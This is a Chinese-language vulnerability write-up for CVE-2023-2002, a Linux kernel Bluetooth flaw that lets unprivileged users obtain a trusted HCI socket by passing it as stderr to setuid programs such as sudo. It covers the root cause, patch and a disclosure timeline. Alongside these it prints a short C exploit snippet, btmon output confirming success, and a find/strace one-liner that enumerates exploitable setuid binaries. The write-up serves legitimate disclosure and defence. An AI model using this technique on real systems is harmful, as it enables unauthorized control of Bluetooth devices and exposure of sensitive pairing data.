在 Linux 内核的蓝牙子系统中处理 HCI 套接字的 ioctl 系统调用时,发现了一个权限检查不足的问题。这导致没有适当 CAP_NET_ADMIN 权限的任务可以轻易地将 HCI 套接字标记为_受信任_。受信任的套接字旨在允许发送和接收管理命令和事件,例如与新设备配对或连接。因此,无特权的用户可以获得一个受信任的套接字,从而导致未授权执行管理命令。利用此漏洞只需要存在一组常用的 setuid 程序(例如 su、sudo)。
该漏洞的直接原因如下代码片段:
static int hci_sock_ioctl(struct socket *sock, unsigned int cmd,
unsigned long arg)
{
...
if (hci_sock_gen_cookie(sk)) {
...
if (capable(CAP_NET_ADMIN))
hci_sock_set_flag(sk, HCI_SOCK_TRUSTED);
...
}
...
}
ioctl 系统调用的实现会检查调用该调用的任务是否拥有必要的 CAP_NET_ADMIN 权限来更新 HCI_SOCK_TRUSTED 标志。然而,此检查仅考虑调用任务,它未必是套接字的打开者。例如,套接字可以与其他任务通过 fork 和 execve 共享,后者任务可能具有特权,比如 setuid 程序。此外,如果套接字被用作 stdout 或 stderr,则会发出 ioctl 调用以获取 tty 参数,这可以通过 strace 命令验证。
# strace -e trace=ioctl sudo > /dev/null
ioctl(3, TIOCGPGRP, [30305]) = 0
ioctl(2, TIOCGWINSZ, {ws_row=45, ws_col=190, ws_xpixel=0, ws_ypixel=0}) = 0
针对 tty 参数的 ioctl 调用在 HCI 套接字上永远不会成功,但它们足以将 HCI 套接字标记为受信任。因此,无特权的程序可以持有受信任的 HCI 套接字,使其能够发送和接收管理命令和事件,因为受信任标志永远不会被清除。
利用可以像下面这样简单:
int fd = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
/* 通过将 HCI 套接字作为 stderr 执行 sudo,ioctl
* 系统调用使 HCI 套接字变得有特权(即设置了
* HCI_SOCK_TRUSTED 标志)。
*/
int pid = fork();
if (pid == 0) {
dup2(fd, 2);
close(fd);
execlp("sudo", "sudo", NULL);
}
waitpid(pid, NULL, 0);
struct sockaddr_hci haddr;
haddr.hci_family = AF_BLUETOOTH;
haddr.hci_dev = HCI_DEV_NONE;
haddr.hci_channel = HCI_CHANNEL_CONTROL;
/* 套接字尚未绑定。现在可以将其绑定到管理通道。
* 之后,HCI_SOCK_TRUSTED 标志仍然存在,因为它永远不会被清除。
*/
bind(fd, (struct sockaddr *)&haddr, sizeof(haddr));
此外,可以使用 btmon 确认套接字变为受信任,并且后续的管理命令将成功:
# btmon
@ RAW Open: sudo (privileged) version 2.22
@ RAW Close: sudo
@ MGMT Open: sudo (privileged) version 1.22
@ MGMT Command: Set Powered (0x0005) plen 1
Powered: Disabled (0x00)
@ MGMT Event: Command Complete (0x0001) plen 7
Set Powered (0x0005) plen 4
Status: Success (0x00)
一个完整用于更改蓝牙设备电源状态的 PoC 利用代码可以在 GitHub 上 找到。
如果成功利用,已识别的漏洞有可能损害蓝牙通信的机密性、完整性和可用性。攻击者可以利用此漏洞将控制器与恶意设备配对,即使蓝牙服务已禁用或未安装。也可能阻止特定设备配对,或读取一些敏感信息,例如 OOB 数据。
自 Linux 内核 v4.9 起,此可利用漏洞就已存在。更具体地说,在提交 f81f5b2db869("Bluetooth: Send control open and close messages for HCI raw sockets")之后,它变得可利用。在此提交之前,利用该漏洞需要诱骗特权程序绑定 HCI 套接字,这在实践中很难(如果不是不可能)触发。然而,在此提交之后,只需要诱骗特权程序调用 ioctl 系统调用,而这仅依赖于 setuid 程序的存在,如上所示。
只要存在 setuid 程序(更准确地说,是具有 CAP_NET_ADMIN 权限的程序)对 stdin、stdout 或 stderr 调用 ioctl,利用就能工作。在大多数 Linux 发行版中,一个快速(但非常粗糙)的测试显示,相当多的 setuid 程序正在使用 ioctl 系统调用,下表中标记为 'V' 的即为此类程序:
# find . -user root -perm -4000 -exec sh -c "strace -e trace=ioctl {} < /dev/null 2>&1 > /dev/null | grep ioctl > /dev/null && echo -n 'V ' || echo -n 'S '; echo {};" \; | sort
S ./chage
S ./expiry
S ./fusermount
S ./fusermount3
S ./gpasswd
S ./ksu
S ./mount.cifs
S ./sg
S ./umount
V ./chfn
V ./chsh
V ./mount
V ./newgrp
V ./passwd
V ./pkexec
V ./screen-4.9.0
V ./su
V ./sudo
V ./unix_chkpwd
手动检查 strace 输出后,发现所有这些 ioctl 使用者都在对 stdin、stdout 或 stderr 使用 ioctl 调用来获取或设置某些 tty 参数。注意,传递给这些 setuid 程序时没有带任何参数。如果传递一些精心构造的参数,ioctl 使用者的数量可能会增加。因此,许多 Linux 发行版可能容易受到此漏洞的利用。
附带说明,Android 设备不太可能受到影响,因为利用需要 setuid 程序存在,而 Android 已经避免使用 setuid 程序一段时间了。此外,Android 上也没有具有 CAP_NET_ADMIN 权限的应用程序。
一个补丁 已发布到 linux-bluetooth 邮件列表,通过将 capable() 替换为 sk_capable() 修复此漏洞,其中 sk_capable() 不仅检查当前任务,还检查套接字打开者是否具有所需的能力。同时,另一个提交的补丁 通过在 hci_sock_ioctl() 开始时检查命令有效性并在命令无效时立即返回 ENOIOCTLCMD 错误码,强化了 ioctl 处理逻辑。
作为变通方案,如果根本没有使用蓝牙设备(但无法物理移除设备),可以通过 rfkill 直接阻止设备,这将阻止设备通电。这样做,发送管理命令以启动蓝牙设备不会成功。这可以大大降低此漏洞的影响。
有两种方法可以避免将来出现类似的漏洞:强化 Linux 内核和强化用户空间的 setuid 程序。
此漏洞与 CVE-2014-0181 共享完全相同的原理。就 CVE-2014-0181 而言,问题是缺乏一种根据套接字打开者授权 Netlink 操作的机制,这允许本地用户通过将 Netlink 套接字用作 setuid 程序的 stdout 或 stderr 来修改网络配置。
2023-04-04: 我在对 Linux 内核蓝牙协议栈的审计中发现了此漏洞。
2023-04-09: 我向 Linux 内核安全团队和发行版供应商报告了此漏洞,并附带了初始版本的补丁。
2023-04-12: 此漏洞已分配 CVE ID,即 CVE-2023-2002。
2023-04-13: 与维护者进行几天讨论后,补丁已相应更新。
2023-04-16: 该漏洞在公开的 oss-security 邮件列表 和 GitHub(此处)上披露。两个补丁已发布到公共的 linux-bluetooth 邮件列表(第一个,第二个)。
2023-05-01: 修复 已进入主线内核(作为 v6.4 合并窗口的一部分),以及 v6.3.1、v6.2.14、v6.1.27 和 v5.15.110。它也已排队等待 v5.10、v5.4、v4.19 和 v4.14 内核的下一个稳定版本。
2023-05-17: 最终,修复 已进入所有稳定内核。具体来说,它也已应用于 v5.10.180、v5.4.243、v4.19.283 和 v4.14.315 内核。